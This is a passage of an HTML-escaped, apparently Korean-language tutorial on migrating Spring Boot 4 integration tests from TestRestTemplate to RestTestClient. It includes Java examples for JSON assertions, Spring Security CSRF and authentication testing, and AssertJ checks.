class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getStatusCode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;OK&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Modern (RestTestClient):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books/1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isOk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;코드가 간결해지고, ‘요청’과 ‘검증’이 하나의 흐름으로 연결되어 가독성이 향상됩니다.&lt;/p&gt;

&lt;h3 id=&quot;예제-2-복잡한-json-응답-검증&quot;&gt;예제 2: 복잡한 JSON 응답 검증&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Legacy:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;Book&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;book&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;restTemplate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getForObject&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books/1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getTitle&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Spring Boot 4&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getAuthor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Expert&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Modern:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books/1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isOk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectBody&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Spring Boot 4&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;author&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Expert&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;value()&lt;/code&gt; 메서드를 통해 람다 표현식 내부에서 AssertJ를 활용하므로, 객체 추출 과정을 명시적으로 작성할 필요 없이 직관적인 검증이 가능합니다.&lt;/p&gt;

&lt;h2 id=&quot;마이그레이션-주의사항&quot;&gt;마이그레이션 주의사항&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;의존성 충돌:&lt;/strong&gt; Spring Boot 4.0 업그레이드 시, 이전에 Deprecated되었던 메서드나 클래스가 완전히 삭제되었으므로, 3.x 버전의 최신 릴리스(3.5.x)에서 경고를 먼저 해결하고 넘어가는 것이 안전합니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;컴파일 오류:&lt;/strong&gt; TestRestTemplate 관련 컴파일 오류 발생 시, 테스트 스코프 의존성(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spring-boot-resttestclient&lt;/code&gt;)이 올바르게 추가되었는지 확인해야 합니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;제네릭 타입 처리:&lt;/strong&gt; RestTestClient는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ParameterizedTypeReference&lt;/code&gt;를 지원하여 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;List&amp;lt;T&amp;gt;&lt;/code&gt;와 같은 제네릭 타입의 응답 본문을 더욱 안전하게 처리할 수 있습니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isOk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectBody&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ParameterizedTypeReference&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{})&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;books&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;books&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;hasSize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;보안-테스팅-csrf와-인증-통합&quot;&gt;보안 테스팅: CSRF와 인증 통합&lt;/h1&gt;

&lt;p&gt;Spring Security 7과 결합된 환경에서 RestTestClient를 사용하는 방법은 바인딩 전략에 따라 크게 달라집니다. 보안 테스트는 애플리케이션 무결성을 보장하는 가장 중요한 단계입니다.&lt;/p&gt;

&lt;h2 id=&quot;mockmvc-바인딩-mock-환경에서의-보안&quot;&gt;MockMvc 바인딩: Mock 환경에서의 보안&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToMockMvc&lt;/code&gt; 또는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToApplicationContext&lt;/code&gt;를 사용할 때, Spring Security의 필터 체인은 서블릿 컨테이너 없이 Mock 환경에서 동작합니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@SpringBootTest&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@AutoConfigureMockMvc&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecureBookControllerTest&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Autowired&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;WebApplicationContext&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;nd&quot;&gt;@Test&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;testWithSpringSecurity&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;MockMvc&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mockMvc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MockMvcBuilders&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;webAppContextSetup&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;apply&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;springSecurity&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        
        &lt;span class=&quot;nc&quot;&gt;RestTestClient&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;RestTestClient&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mockMvc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        
        &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;contentType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;MediaType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;APPLICATION_JSON&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Secure Book&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isForbidden&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// CSRF 토큰 없음&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;설정 자동화:&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityMockMvcConfigurers.springSecurity()&lt;/code&gt;를 MockMvc 빌더에 적용함으로써, 스프링 시큐리티 필터가 테스트 파이프라인에 통합됩니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CSRF 토큰 처리:&lt;/strong&gt; RestTestClient는 Mock 환경에서 CSRF 토큰을 자동으로 주입받지 못할 수 있습니다. MockMvc의 RequestPostProcessor 기능을 활용하거나, 테스트 설정에서 CSRF를 비활성화할 수 있습니다. 가장 권장되는 방식은 bindTo 시점에 보안 설정이 완료된 MockMvc 인스턴스를 주입하는 것입니다.&lt;/p&gt;

&lt;h2 id=&quot;live-server-실제-서버에서의-인증&quot;&gt;Live Server: 실제 서버에서의 인증&lt;/h2&gt;

&lt;p&gt;실제 서버를 대상으로 하는 테스트에서는 모의 객체를 사용할 수 없습니다. 실제 클라이언트처럼 행동해야 합니다.&lt;/p&gt;

&lt;h3 id=&quot;http-basic-auth&quot;&gt;HTTP Basic Auth&lt;/h3&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secure&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Authorization&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Basic &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; 
        &lt;span class=&quot;nc&quot;&gt;Base64&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getEncoder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;encodeToString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user:pass&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getBytes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()))&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isOk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;oauth2-및-jwt&quot;&gt;OAuth2 및 JWT&lt;/h3&gt;

&lt;p&gt;OAuth2 리소스 서버를 테스트할 때는 유효한 JWT 토큰이 필요합니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mocking 전략:&lt;/strong&gt; 테스트용 프로파일에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JwtDecoder&lt;/code&gt;를 Mock Bean으로 등록하여, 서명 검증 없이 임의의 토큰을 허용하도록 설정할 수 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real Token 전략:&lt;/strong&gt; 통합 테스트 전용 계정으로 인증 서버(Keycloak 등, Testcontainers 활용 가능)에서 토큰을 발급받은 후, RestTestClient의 기본 헤더로 설정하여 테스트를 수행합니다. 이는 프로덕션 환경과 가장 유사한 검증 방식입니다.&lt;/p&gt;

&lt;h3 id=&quot;csrf-핸드셰이크-시뮬레이션&quot;&gt;CSRF 핸드셰이크 시뮬레이션&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToServer&lt;/code&gt; 모드에서 CSRF가 활성화된 엔드포인트(POST/PUT/DELETE)를 테스트하려면 브라우저와 동일한 핸드셰이크 과정이 필요합니다.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;GET 요청:&lt;/strong&gt; 안전한 메서드로 접근하여 서버로부터 CSRF 토큰(쿠키 또는 헤더)을 수신&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;토큰 추출:&lt;/strong&gt; 응답 쿠키(XSRF-TOKEN)를 추출&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;POST 요청:&lt;/strong&gt; 추출한 토큰을 요청 헤더(X-XSRF-TOKEN)에 포함하여 전송&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;RestTestClient는 상태를 저장하지 않으므로(Stateless), 이러한 쿠키-헤더 매핑 로직을 테스트 유틸리티로 구현하여 재사용하는 것이 좋습니다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;데이터-검증-assertj와-jsonpath&quot;&gt;데이터 검증: AssertJ와 JSONPath&lt;/h1&gt;

&lt;p&gt;테스트의 신뢰도는 검증(Assertion)의 정밀도에 달려 있습니다. RestTestClient는 다양한 검증 도구와의 통합을 지원합니다.&lt;/p&gt;

&lt;h2 id=&quot;assertj-통합&quot;&gt;AssertJ 통합&lt;/h2&gt;

&lt;p&gt;Spring Boot 개발자들에게 익숙한 AssertJ는 가독성 높은 에러 메시지와 풍부한 API를 제공합니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books/1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectBody&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getTitle&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;startsWith&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Spring&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getPages&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isGreaterThan&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getTags&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;contains&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;java&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;spring&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;});&lt;/span&gt;
